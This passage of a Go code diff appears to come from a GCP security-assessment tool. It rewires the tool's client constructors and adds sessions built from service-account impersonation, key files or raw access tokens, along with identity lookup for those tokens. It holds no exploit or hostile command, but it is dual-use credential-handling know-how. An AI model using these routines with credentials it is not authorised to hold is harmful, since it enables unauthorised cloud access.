// GetStorageService returns a Cloud Storage service (REST API)
|
||||
func GetStorageService(ctx context.Context, session *gcpinternal.SafeSession) (*storageapi.Service, error) {
|
||||
service, err := storageapi.NewService(ctx, session.GetClientOption())
|
||||
service, err := storageapi.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create storage service: %w", err)
|
||||
}
|
||||
@@ -181,7 +195,7 @@ func GetStorageService(ctx context.Context, session *gcpinternal.SafeSession) (*
|
||||
|
||||
// GetArtifactRegistryService returns an Artifact Registry service (REST API)
|
||||
func GetArtifactRegistryService(ctx context.Context, session *gcpinternal.SafeSession) (*artifactregistryapi.Service, error) {
|
||||
service, err := artifactregistryapi.NewService(ctx, session.GetClientOption())
|
||||
service, err := artifactregistryapi.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Artifact Registry service: %w", err)
|
||||
}
|
||||
@@ -190,7 +204,7 @@ func GetArtifactRegistryService(ctx context.Context, session *gcpinternal.SafeSe
|
||||
|
||||
// GetContainerService returns a GKE Container service
|
||||
func GetContainerService(ctx context.Context, session *gcpinternal.SafeSession) (*container.Service, error) {
|
||||
service, err := container.NewService(ctx, session.GetClientOption())
|
||||
service, err := container.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create container service: %w", err)
|
||||
}
|
||||
@@ -199,7 +213,7 @@ func GetContainerService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetCloudRunService returns a Cloud Run service (v1)
|
||||
func GetCloudRunService(ctx context.Context, session *gcpinternal.SafeSession) (*run.APIService, error) {
|
||||
service, err := run.NewService(ctx, session.GetClientOption())
|
||||
service, err := run.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Run service: %w", err)
|
||||
}
|
||||
@@ -208,7 +222,7 @@ func GetCloudRunService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
// GetCloudRunServiceV2 returns a Cloud Run service (v2)
|
||||
func GetCloudRunServiceV2(ctx context.Context, session *gcpinternal.SafeSession) (*runv2.Service, error) {
|
||||
service, err := runv2.NewService(ctx, session.GetClientOption())
|
||||
service, err := runv2.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Run v2 service: %w", err)
|
||||
}
|
||||
@@ -217,7 +231,7 @@ func GetCloudRunServiceV2(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetCloudFunctionsService returns a Cloud Functions service (v1)
|
||||
func GetCloudFunctionsService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudfunctions.Service, error) {
|
||||
service, err := cloudfunctions.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudfunctions.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Functions service: %w", err)
|
||||
}
|
||||
@@ -226,7 +240,7 @@ func GetCloudFunctionsService(ctx context.Context, session *gcpinternal.SafeSess
|
||||
|
||||
// GetCloudFunctionsServiceV2 returns a Cloud Functions v2 service
|
||||
func GetCloudFunctionsServiceV2(ctx context.Context, session *gcpinternal.SafeSession) (*cloudfunctionsv2.Service, error) {
|
||||
service, err := cloudfunctionsv2.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudfunctionsv2.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Functions v2 service: %w", err)
|
||||
}
|
||||
@@ -235,7 +249,7 @@ func GetCloudFunctionsServiceV2(ctx context.Context, session *gcpinternal.SafeSe
|
||||
|
||||
// GetCloudIdentityService returns a Cloud Identity service
|
||||
func GetCloudIdentityService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudidentity.Service, error) {
|
||||
service, err := cloudidentity.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudidentity.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Identity service: %w", err)
|
||||
}
|
||||
@@ -244,7 +258,7 @@ func GetCloudIdentityService(ctx context.Context, session *gcpinternal.SafeSessi
|
||||
|
||||
// GetAccessContextManagerService returns an Access Context Manager service
|
||||
func GetAccessContextManagerService(ctx context.Context, session *gcpinternal.SafeSession) (*accesscontextmanager.Service, error) {
|
||||
service, err := accesscontextmanager.NewService(ctx, session.GetClientOption())
|
||||
service, err := accesscontextmanager.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Access Context Manager service: %w", err)
|
||||
}
|
||||
@@ -253,7 +267,7 @@ func GetAccessContextManagerService(ctx context.Context, session *gcpinternal.Sa
|
||||
|
||||
// GetRedisService returns a Memorystore Redis service
|
||||
func GetRedisService(ctx context.Context, session *gcpinternal.SafeSession) (*redis.Service, error) {
|
||||
service, err := redis.NewService(ctx, session.GetClientOption())
|
||||
service, err := redis.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Redis service: %w", err)
|
||||
}
|
||||
@@ -262,7 +276,7 @@ func GetRedisService(ctx context.Context, session *gcpinternal.SafeSession) (*re
|
||||
|
||||
// GetServiceNetworkingService returns a Service Networking service
|
||||
func GetServiceNetworkingService(ctx context.Context, session *gcpinternal.SafeSession) (*servicenetworking.APIService, error) {
|
||||
service, err := servicenetworking.NewService(ctx, session.GetClientOption())
|
||||
service, err := servicenetworking.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Service Networking service: %w", err)
|
||||
}
|
||||
@@ -271,7 +285,7 @@ func GetServiceNetworkingService(ctx context.Context, session *gcpinternal.SafeS
|
||||
|
||||
// GetComposerService returns a Cloud Composer service
|
||||
func GetComposerService(ctx context.Context, session *gcpinternal.SafeSession) (*composer.Service, error) {
|
||||
service, err := composer.NewService(ctx, session.GetClientOption())
|
||||
service, err := composer.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Composer service: %w", err)
|
||||
}
|
||||
@@ -280,7 +294,7 @@ func GetComposerService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
// GetDataflowService returns a Dataflow service
|
||||
func GetDataflowService(ctx context.Context, session *gcpinternal.SafeSession) (*dataflow.Service, error) {
|
||||
service, err := dataflow.NewService(ctx, session.GetClientOption())
|
||||
service, err := dataflow.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Dataflow service: %w", err)
|
||||
}
|
||||
@@ -289,7 +303,7 @@ func GetDataflowService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
// GetDataprocService returns a Dataproc service
|
||||
func GetDataprocService(ctx context.Context, session *gcpinternal.SafeSession) (*dataproc.Service, error) {
|
||||
service, err := dataproc.NewService(ctx, session.GetClientOption())
|
||||
service, err := dataproc.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Dataproc service: %w", err)
|
||||
}
|
||||
@@ -298,7 +312,7 @@ func GetDataprocService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
// GetNotebooksService returns a Notebooks service
|
||||
func GetNotebooksService(ctx context.Context, session *gcpinternal.SafeSession) (*notebooks.Service, error) {
|
||||
service, err := notebooks.NewService(ctx, session.GetClientOption())
|
||||
service, err := notebooks.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Notebooks service: %w", err)
|
||||
}
|
||||
@@ -307,7 +321,7 @@ func GetNotebooksService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetBeyondCorpService returns a BeyondCorp service
|
||||
func GetBeyondCorpService(ctx context.Context, session *gcpinternal.SafeSession) (*beyondcorp.Service, error) {
|
||||
service, err := beyondcorp.NewService(ctx, session.GetClientOption())
|
||||
service, err := beyondcorp.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create BeyondCorp service: %w", err)
|
||||
}
|
||||
@@ -316,7 +330,7 @@ func GetBeyondCorpService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetIAPService returns an IAP service
|
||||
func GetIAPService(ctx context.Context, session *gcpinternal.SafeSession) (*iap.Service, error) {
|
||||
service, err := iap.NewService(ctx, session.GetClientOption())
|
||||
service, err := iap.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create IAP service: %w", err)
|
||||
}
|
||||
@@ -325,7 +339,7 @@ func GetIAPService(ctx context.Context, session *gcpinternal.SafeSession) (*iap.
|
||||
|
||||
// GetKMSService returns a Cloud KMS service
|
||||
func GetKMSService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudkms.Service, error) {
|
||||
service, err := cloudkms.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudkms.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create KMS service: %w", err)
|
||||
}
|
||||
@@ -334,7 +348,7 @@ func GetKMSService(ctx context.Context, session *gcpinternal.SafeSession) (*clou
|
||||
|
||||
// GetSQLAdminService returns a Cloud SQL Admin service (v1)
|
||||
func GetSQLAdminService(ctx context.Context, session *gcpinternal.SafeSession) (*sqladmin.Service, error) {
|
||||
service, err := sqladmin.NewService(ctx, session.GetClientOption())
|
||||
service, err := sqladmin.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create SQL Admin service: %w", err)
|
||||
}
|
||||
@@ -343,7 +357,7 @@ func GetSQLAdminService(ctx context.Context, session *gcpinternal.SafeSession) (
|
||||
|
||||
// GetSQLAdminServiceBeta returns a Cloud SQL Admin service (v1beta4)
|
||||
func GetSQLAdminServiceBeta(ctx context.Context, session *gcpinternal.SafeSession) (*sqladminbeta.Service, error) {
|
||||
service, err := sqladminbeta.NewService(ctx, session.GetClientOption())
|
||||
service, err := sqladminbeta.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create SQL Admin beta service: %w", err)
|
||||
}
|
||||
@@ -352,7 +366,7 @@ func GetSQLAdminServiceBeta(ctx context.Context, session *gcpinternal.SafeSessio
|
||||
|
||||
// GetDNSService returns a Cloud DNS service
|
||||
func GetDNSService(ctx context.Context, session *gcpinternal.SafeSession) (*dns.Service, error) {
|
||||
service, err := dns.NewService(ctx, session.GetClientOption())
|
||||
service, err := dns.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create DNS service: %w", err)
|
||||
}
|
||||
@@ -361,7 +375,7 @@ func GetDNSService(ctx context.Context, session *gcpinternal.SafeSession) (*dns.
|
||||
|
||||
// GetPubSubService returns a Pub/Sub service (REST API)
|
||||
func GetPubSubService(ctx context.Context, session *gcpinternal.SafeSession) (*pubsubapi.Service, error) {
|
||||
service, err := pubsubapi.NewService(ctx, session.GetClientOption())
|
||||
service, err := pubsubapi.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Pub/Sub service: %w", err)
|
||||
}
|
||||
@@ -370,7 +384,7 @@ func GetPubSubService(ctx context.Context, session *gcpinternal.SafeSession) (*p
|
||||
|
||||
// GetLoggingService returns a Cloud Logging service
|
||||
func GetLoggingService(ctx context.Context, session *gcpinternal.SafeSession) (*logging.Service, error) {
|
||||
service, err := logging.NewService(ctx, session.GetClientOption())
|
||||
service, err := logging.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Logging service: %w", err)
|
||||
}
|
||||
@@ -379,7 +393,7 @@ func GetLoggingService(ctx context.Context, session *gcpinternal.SafeSession) (*
|
||||
|
||||
// GetSpannerService returns a Cloud Spanner service
|
||||
func GetSpannerService(ctx context.Context, session *gcpinternal.SafeSession) (*spanner.Service, error) {
|
||||
service, err := spanner.NewService(ctx, session.GetClientOption())
|
||||
service, err := spanner.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Spanner service: %w", err)
|
||||
}
|
||||
@@ -388,7 +402,7 @@ func GetSpannerService(ctx context.Context, session *gcpinternal.SafeSession) (*
|
||||
|
||||
// GetBigtableAdminService returns a Bigtable Admin service
|
||||
func GetBigtableAdminService(ctx context.Context, session *gcpinternal.SafeSession) (*bigtableadmin.Service, error) {
|
||||
service, err := bigtableadmin.NewService(ctx, session.GetClientOption())
|
||||
service, err := bigtableadmin.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Bigtable Admin service: %w", err)
|
||||
}
|
||||
@@ -397,7 +411,7 @@ func GetBigtableAdminService(ctx context.Context, session *gcpinternal.SafeSessi
|
||||
|
||||
// GetFilestoreService returns a Filestore service
|
||||
func GetFilestoreService(ctx context.Context, session *gcpinternal.SafeSession) (*file.Service, error) {
|
||||
service, err := file.NewService(ctx, session.GetClientOption())
|
||||
service, err := file.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Filestore service: %w", err)
|
||||
}
|
||||
@@ -406,7 +420,7 @@ func GetFilestoreService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetSourceRepoService returns a Source Repositories service
|
||||
func GetSourceRepoService(ctx context.Context, session *gcpinternal.SafeSession) (*sourcerepo.Service, error) {
|
||||
service, err := sourcerepo.NewService(ctx, session.GetClientOption())
|
||||
service, err := sourcerepo.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Source Repositories service: %w", err)
|
||||
}
|
||||
@@ -415,7 +429,7 @@ func GetSourceRepoService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetCloudBuildService returns a Cloud Build service
|
||||
func GetCloudBuildService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudbuild.Service, error) {
|
||||
service, err := cloudbuild.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudbuild.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Cloud Build service: %w", err)
|
||||
}
|
||||
@@ -424,7 +438,7 @@ func GetCloudBuildService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetOrgPolicyService returns an Organization Policy service
|
||||
func GetOrgPolicyService(ctx context.Context, session *gcpinternal.SafeSession) (*orgpolicy.Service, error) {
|
||||
service, err := orgpolicy.NewService(ctx, session.GetClientOption())
|
||||
service, err := orgpolicy.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Org Policy service: %w", err)
|
||||
}
|
||||
@@ -433,7 +447,7 @@ func GetOrgPolicyService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetSchedulerService returns a Cloud Scheduler service
|
||||
func GetSchedulerService(ctx context.Context, session *gcpinternal.SafeSession) (*cloudscheduler.Service, error) {
|
||||
service, err := cloudscheduler.NewService(ctx, session.GetClientOption())
|
||||
service, err := cloudscheduler.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Scheduler service: %w", err)
|
||||
}
|
||||
@@ -442,7 +456,7 @@ func GetSchedulerService(ctx context.Context, session *gcpinternal.SafeSession)
|
||||
|
||||
// GetAPIKeysService returns an API Keys service
|
||||
func GetAPIKeysService(ctx context.Context, session *gcpinternal.SafeSession) (*apikeys.Service, error) {
|
||||
service, err := apikeys.NewService(ctx, session.GetClientOption())
|
||||
service, err := apikeys.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create API Keys service: %w", err)
|
||||
}
|
||||
@@ -451,7 +465,7 @@ func GetAPIKeysService(ctx context.Context, session *gcpinternal.SafeSession) (*
|
||||
|
||||
// GetCertificateManagerService returns a Certificate Manager service
|
||||
func GetCertificateManagerService(ctx context.Context, session *gcpinternal.SafeSession) (*certificatemanager.Service, error) {
|
||||
service, err := certificatemanager.NewService(ctx, session.GetClientOption())
|
||||
service, err := certificatemanager.NewService(ctx, resolveOpts(session)...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Certificate Manager service: %w", err)
|
||||
}
|
||||
|
||||
+727
-25
@@ -4,6 +4,9 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -11,6 +14,7 @@ import (
|
||||
|
||||
"golang.org/x/oauth2"
|
||||
"golang.org/x/oauth2/google"
|
||||
"google.golang.org/api/impersonate"
|
||||
"google.golang.org/api/option"
|
||||
)
|
||||
|
||||
@@ -37,6 +41,7 @@ type SafeSession struct {
|
||||
email string
|
||||
projectID string
|
||||
accountType string // "user" or "serviceAccount"
|
||||
uniqueID string // Numeric unique ID from tokeninfo (issued_to/azp)
|
||||
}
|
||||
|
||||
// GCPCredentialInfo holds information about the current credential
|
||||
@@ -100,6 +105,675 @@ func NewSafeSession(ctx context.Context) (*SafeSession, error) {
|
||||
return ss, nil
|
||||
}
|
||||
|
||||
// NewSafeSessionWithImpersonation creates a SafeSession that generates short-lived
|
||||
// tokens as the target service account. When baseTS is nil the caller's ADC is
|
||||
// used as the base credential. When baseTS is provided (e.g. from a key file or
|
||||
// access token session) it is used instead, enabling auth chaining like
|
||||
// --key-file + --impersonate-sa or --access-token + --impersonate-sa.
|
||||
func NewSafeSessionWithImpersonation(ctx context.Context, targetSA string, baseTS oauth2.TokenSource) (*SafeSession, error) {
|
||||
var opts []option.ClientOption
|
||||
if baseTS != nil {
|
||||
opts = append(opts, option.WithTokenSource(baseTS))
|
||||
}
|
||||
|
||||
// Override the ADC quota project with the target SA's project. The ADC
|
||||
// file may contain a stale or deleted quota_project_id which causes the
|
||||
// IAM Credentials API call to fail with USER_PROJECT_DENIED.
|
||||
if projectID := projectFromSAEmail(targetSA); projectID != "" {
|
||||
opts = append(opts, option.WithQuotaProject(projectID))
|
||||
}
|
||||
|
||||
ts, err := impersonate.CredentialsTokenSource(ctx, impersonate.CredentialsConfig{
|
||||
TargetPrincipal: targetSA,
|
||||
Scopes: CommonScopes,
|
||||
}, opts...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create impersonated token source for %s: %w", targetSA, err)
|
||||
}
|
||||
|
||||
ss := &SafeSession{
|
||||
tokenSource: ts,
|
||||
tokens: make(map[string]*oauth2.Token),
|
||||
refreshBuffer: 5 * time.Minute,
|
||||
stopMonitor: make(chan struct{}),
|
||||
email: targetSA,
|
||||
accountType: "serviceAccount",
|
||||
}
|
||||
|
||||
// Get initial token to validate impersonation works
|
||||
token, err := ts.Token()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("impersonation failed for %s (do you have roles/iam.serviceAccountTokenCreator?): %w", targetSA, err)
|
||||
}
|
||||
ss.currentToken = token
|
||||
ss.sessionExpiry = token.Expiry
|
||||
|
||||
// Cache the token for the default scope
|
||||
ss.tokens["https://www.googleapis.com/auth/cloud-platform"] = token
|
||||
|
||||
return ss, nil
|
||||
}
|
||||
|
||||
// NewSafeSessionFromKeyFile creates a SafeSession from a service account JSON key file.
|
||||
// This bypasses gcloud CLI entirely and authenticates directly using the key file.
|
||||
func NewSafeSessionFromKeyFile(ctx context.Context, keyFilePath string) (*SafeSession, error) {
|
||||
keyJSON, err := os.ReadFile(keyFilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read key file %s: %w", keyFilePath, err)
|
||||
}
|
||||
|
||||
// Parse the JSON to extract the service account email and project
|
||||
var keyFileData struct {
|
||||
ClientEmail string `json:"client_email"`
|
||||
ProjectID string `json:"project_id"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
if err := json.Unmarshal(keyJSON, &keyFileData); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse key file %s: %w", keyFilePath, err)
|
||||
}
|
||||
|
||||
if keyFileData.Type != "service_account" {
|
||||
return nil, fmt.Errorf("key file %s is not a service account key (type: %s)", keyFilePath, keyFileData.Type)
|
||||
}
|
||||
|
||||
if keyFileData.ClientEmail == "" {
|
||||
return nil, fmt.Errorf("key file %s does not contain a client_email field", keyFilePath)
|
||||
}
|
||||
|
||||
// Create credentials from the key file
|
||||
creds, err := google.CredentialsFromJSON(ctx, keyJSON, CommonScopes...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create credentials from key file %s: %w", keyFilePath, err)
|
||||
}
|
||||
|
||||
ss := &SafeSession{
|
||||
tokenSource: creds.TokenSource,
|
||||
tokens: make(map[string]*oauth2.Token),
|
||||
refreshBuffer: 5 * time.Minute,
|
||||
stopMonitor: make(chan struct{}),
|
||||
email: keyFileData.ClientEmail,
|
||||
accountType: "serviceAccount",
|
||||
projectID: keyFileData.ProjectID,
|
||||
}
|
||||
|
||||
// Get initial token to validate the key works
|
||||
token, err := creds.TokenSource.Token()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get token from key file %s (key may be expired or revoked): %w", keyFilePath, err)
|
||||
}
|
||||
ss.currentToken = token
|
||||
ss.sessionExpiry = token.Expiry
|
||||
|
||||
// Cache the token for the default scope
|
||||
ss.tokens["https://www.googleapis.com/auth/cloud-platform"] = token
|
||||
|
||||
return ss, nil
|
||||
}
|
||||
|
||||
// NewSafeSessionFromAccessToken creates a SafeSession from a raw GCP access token.
|
||||
// The token cannot be refreshed, so the session will expire when the token does.
|
||||
// Identity is resolved via the Google tokeninfo endpoint.
|
||||
func NewSafeSessionFromAccessToken(ctx context.Context, accessToken string) (*SafeSession, error) {
|
||||
if strings.TrimSpace(accessToken) == "" {
|
||||
return nil, fmt.Errorf("access token is empty")
|
||||
}
|
||||
|
||||
token := &oauth2.Token{
|
||||
AccessToken: strings.TrimSpace(accessToken),
|
||||
TokenType: "Bearer",
|
||||
}
|
||||
|
||||
ts := &StaticTokenSource{StaticToken: token}
|
||||
|
||||
ss := &SafeSession{
|
||||
tokenSource: ts,
|
||||
currentToken: token,
|
||||
tokens: make(map[string]*oauth2.Token),
|
||||
refreshBuffer: 5 * time.Minute,
|
||||
stopMonitor: make(chan struct{}),
|
||||
}
|
||||
|
||||
// Cache the token for the default scope
|
||||
ss.tokens["https://www.googleapis.com/auth/cloud-platform"] = token
|
||||
|
||||
// Resolve identity via tokeninfo endpoint
|
||||
ss.resolveTokenIdentity(ctx, accessToken)
|
||||
|
||||
return ss, nil
|
||||
}
|
||||
|
||||
// resolveTokenIdentity tries multiple Google endpoints to determine the email
|
||||
// and account type for a raw access token.
|
||||
//
|
||||
// Strategy:
|
||||
// 1. tokeninfo v1 endpoint: returns email (if scope includes email) AND the
|
||||
// numeric unique ID (issued_to/azp) which is always present.
|
||||
// 2. If email was found, done. Otherwise use the unique ID with
|
||||
// serviceAccounts.get to resolve the SA email (IAM API accepts numeric IDs
|
||||
// in the resource path: projects/-/serviceAccounts/{uniqueId}).
|
||||
// 3. Fallback: userinfo endpoint, then GCP API error parsing.
|
||||
// 4. If still unresolved and --project is set, ProbeIdentityWithProject lists
|
||||
// SAs in the project and matches by unique ID (called from CLI layer).
|
||||
func (s *SafeSession) resolveTokenIdentity(ctx context.Context, accessToken string) {
|
||||
debug := os.Getenv("CLOUDFOX_DEBUG") != ""
|
||||
|
||||
// Step 1: Call tokeninfo to get email (if available) and unique ID (always available)
|
||||
email, acctType, uniqueID, expiry := queryTokenInfoFull(ctx, accessToken)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] resolveTokenIdentity tokeninfo: email=%q acctType=%q uniqueID=%q\n", email, acctType, uniqueID)
|
||||
}
|
||||
|
||||
// Store expiry and unique ID regardless of email resolution
|
||||
if !expiry.IsZero() {
|
||||
s.sessionExpiry = expiry
|
||||
s.currentToken.Expiry = expiry
|
||||
}
|
||||
if uniqueID != "" {
|
||||
s.uniqueID = uniqueID
|
||||
}
|
||||
|
||||
if email != "" {
|
||||
s.email = email
|
||||
s.accountType = acctType
|
||||
return
|
||||
}
|
||||
|
||||
// Step 2: Use unique ID with serviceAccounts.get to resolve SA email.
|
||||
// The IAM API accepts numeric unique IDs in place of the SA email in the
|
||||
// resource path: projects/-/serviceAccounts/{uniqueId}
|
||||
// This returns the full SA object including the email field.
|
||||
if uniqueID != "" {
|
||||
email, acctType = getSAByUniqueID(ctx, accessToken, uniqueID)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] resolveTokenIdentity getSAByUniqueID: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
s.email = email
|
||||
s.accountType = acctType
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Step 3: Fallback - userinfo endpoint (works with openid/email scopes)
|
||||
email, acctType = queryUserInfoHTTP(ctx, accessToken)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] resolveTokenIdentity userinfo: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
s.email = email
|
||||
s.accountType = acctType
|
||||
return
|
||||
}
|
||||
|
||||
// Step 4: Fallback - GCP API error parsing
|
||||
email, acctType = probeGCPIdentity(ctx, accessToken)
|
||||
if debug {
|
||||
fmt.Fprintf(os.Stderr, "[debug] resolveTokenIdentity iam-probe: email=%q acctType=%q\n", email, acctType)
|
||||
}
|
||||
if email != "" {
|
||||
s.email = email
|
||||
s.accountType = acctType
|
||||
}
|
||||
}
|
||||
|
||||
// getSAByUniqueID calls the IAM serviceAccounts.get endpoint using the SA's
|
||||
// numeric unique ID. The IAM API accepts unique IDs in place of email in the
|
||||
// resource path: projects/-/serviceAccounts/{uniqueId}
|
||||
// If the caller has iam.serviceAccounts.get permission, this returns the full
|
||||
// SA object including the email. This works even without knowing the project.
|
||||
func getSAByUniqueID(ctx context.Context, accessToken, uniqueID string) (email, acctType string) {
|
||||
saURL := fmt.Sprintf("https://iam.googleapis.com/v1/projects/-/serviceAccounts/%s", uniqueID)
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, saURL, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if os.Getenv("CLOUDFOX_DEBUG") != "" {
|
||||
fmt.Fprintf(os.Stderr, "[debug] getSAByUniqueID response (status %d): %s\n", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var sa struct {
|
||||
Email string `json:"email"`
|
||||
UniqueID string `json:"uniqueId"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &sa); err == nil && sa.Email != "" {
|
||||
return sa.Email, "serviceAccount"
|
||||
}
|
||||
}
|
||||
|
||||
// On 403, the error message might contain the resolved email
|
||||
resolvedEmail, resolvedType := extractCallerFromGCPResponse(body)
|
||||
if resolvedEmail != "" {
|
||||
return resolvedEmail, resolvedType
|
||||
}
|
||||
return extractEmailFromGCPError(string(body)), "serviceAccount"
|
||||
}
|
||||
|
||||
// queryTokenInfoFull calls the Google tokeninfo v1 endpoint and extracts email,
|
||||
// account type, the numeric unique ID (issued_to/azp), and expiry.
|
||||
// SA tokens from generateAccessToken always return the unique ID even when
|
||||
// the email field is empty (because the token lacks the email scope).
|
||||
func queryTokenInfoFull(ctx context.Context, accessToken string) (email, acctType, uniqueID string, expiry time.Time) {
|
||||
url := fmt.Sprintf("https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s", accessToken)
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if os.Getenv("CLOUDFOX_DEBUG") != "" {
|
||||
fmt.Fprintf(os.Stderr, "[debug] queryTokenInfoFull (status %d): %s\n", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return
|
||||
}
|
||||
|
||||
var info struct {
|
||||
Email string `json:"email"`
|
||||
IssuedTo string `json:"issued_to"` // numeric unique ID of the SA/user
|
||||
Audience string `json:"audience"`
|
||||
Scope string `json:"scope"`
|
||||
Exp string `json:"exp"`
|
||||
// v2/v3 field names (if we switch endpoints later)
|
||||
AZP string `json:"azp"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &info); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Email != "" {
|
||||
email = info.Email
|
||||
if strings.Contains(info.Email, ".iam.gserviceaccount.com") {
|
||||
acctType = "serviceAccount"
|
||||
} else {
|
||||
acctType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
// Extract unique ID: v1 uses "issued_to", v2/v3 use "azp"
|
||||
uniqueID = info.IssuedTo
|
||||
if uniqueID == "" {
|
